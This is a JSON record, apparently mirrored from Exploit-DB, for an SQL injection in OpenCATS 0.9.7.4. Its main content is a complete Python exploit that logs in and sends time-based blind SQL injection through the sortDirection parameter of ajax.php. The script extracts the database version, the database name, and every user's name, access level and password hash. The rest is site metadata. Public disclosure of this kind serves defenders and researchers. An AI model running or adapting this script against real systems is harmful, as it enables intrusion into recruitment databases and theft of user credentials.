{“lastseen”:”2026-05-27T13:27:58″,”description”:”Exploit Title: OpenCATS 0.9.7.4 – SQL Injection Exploit Author: Gabriel Rodrigues TEXUGO from HAKAI Vendor Homepage: https:\/\/www.opencats.org Software Link: https:\/\/github.com\/opencats\/OpenCATS Version: 1 else \\”http:\/\/localhost:8888\\” user = sys.argv2…”,”published”:”2026-05-27T00:00:00″,”modified”:”2026-05-27T00:00:00″,”type”:”exploitdb”,”title”:”OpenCATS 0.9.7.4 – SQL Injection”,”source”:””,”references”:””,”id”:”EDB-ID:52579″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Exploit Title: OpenCATS 0.9.7.4 – SQL Injection\\r\\n# Exploit Author: Gabriel Rodrigues (TEXUGO) from HAKAI\\r\\n# Vendor Homepage: https:\/\/www.opencats.org\\r\\n# Software Link: https:\/\/github.com\/opencats\/OpenCATS\\r\\n# Version: \\u003c= 0.9.7.4\\r\\n# Tested on: Ubuntu 22.04 \/ Apache2 \/ PHP \/ MariaDB 10.6\\r\\n# CVE: N\/A (GHSA-8mc8-5gw6-c7w4)\\r\\nimport requests, json, sys, time\\r\\n\\r\\nurl = sys.argv[1] if len(sys.argv) \\u003e 1 else \\”http:\/\/localhost:8888\\”\\r\\nuser = sys.argv[2] if len(sys.argv) \\u003e 2 else \\”admin\\”\\r\\npw = sys.argv[3] if len(sys.argv) \\u003e 3 else \\”cats\\”\\r\\ndelay = 1.5\\r\\n\\r\\ns = requests.Session()\\r\\ns.get(f\\”{url}\/index.php\\”)\\r\\ns.post(f\\”{url}\/index.php?m=login\\u0026a=attemptLogin\\”, data={\\”username\\”: user, \\”password\\”: pw}, allow_redirects=True)\\r\\n\\r\\ndef sqli(payload):\\r\\n t = time.time()\\r\\n s.get(f\\”{url}\/ajax.php\\”, timeout=30, params={\\”f\\”: \\”getDataGridPager\\”,\\r\\n \\”i\\”: \\”candidates:candidatesListByViewDataGrid\\”,\\r\\n \\”p\\”: json.dumps({\\”sortBy\\”: \\”dateModifiedSort\\”, \\”sortDirection\\”: payload, \\”rangeStart\\”: 0, \\”maxResults\\”: 15})})\\r\\n return time.time() – t\\r\\n\\r\\ndef blind(cond):\\r\\n return sqli(f\\”DESC,IF(({cond}),SLEEP({delay}),0)\\”) \\u003e delay * 0.6\\r\\n\\r\\ndef extract(query, maxlen=100):\\r\\n out = \\”\\”\\r\\n for i in range(1, maxlen + 1):\\r\\n if blind(f\\”LENGTH({query})\\u003c{i}\\”): break\\r\\n lo, hi = 32, 126\\r\\n while lo \\u003c hi:\\r\\n mid = (lo + hi) \/\/ 2\\r\\n lo, hi = (mid + 1, hi) if blind(f\\”ORD(SUBSTRING({query},{i},1))\\u003e{mid}\\”) else (lo, mid)\\r\\n out += chr(lo)\\r\\n return out\\r\\n\\r\\nbase = sqli(\\”DESC\\”)\\r\\nslp = sqli(\\”DESC,SLEEP(2)\\”)\\r\\nprint(f\\”baseline={base:.2f}s sleep(2)={slp:.2f}s\\”)\\r\\nassert slp \\u003e base + 1, \\”not vulnerable or no candidate rows\\”\\r\\nprint(\\”injection confirmed\\\\n\\”)\\r\\n\\r\\nprint(\\”version:\\”, extract(\\”@@version\\”, 30))\\r\\nprint(\\”database:\\”, extract(\\”DATABASE()\\”, 20))\\r\\n\\r\\nn = int(extract(\\”(SELECT COUNT(*) FROM user)\\”, 3))\\r\\nprint(f\\”users: {n}\\\\n\\”)\\r\\nfor i in range(n):\\r\\n name = extract(f\\”(SELECT user_name FROM user ORDER BY user_id LIMIT {i},1)\\”, 40)\\r\\n level = extract(f\\”(SELECT access_level FROM user ORDER BY user_id LIMIT {i},1)\\”, 5)\\r\\n hash_ = extract(f\\”(SELECT password FROM user ORDER BY user_id LIMIT {i},1)\\”, 62)\\r\\n print(f\\” {name} level={level} hash={hash_}\\”)”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52579″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52579″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-27T13:27:58″,”description”:”Exploit Title: OpenCATS 0.9.7.4 – SQL Injection Exploit Author: Gabriel Rodrigues TEXUGO from HAKAI Vendor Homepage: https:\/\/www.opencats.org Software Link: https:\/\/github.com\/opencats\/OpenCATS Version: 1 else \\”http:\/\/localhost:8888\\” user…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,40,13,33,7,11,5],"class_list":["post-57399","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n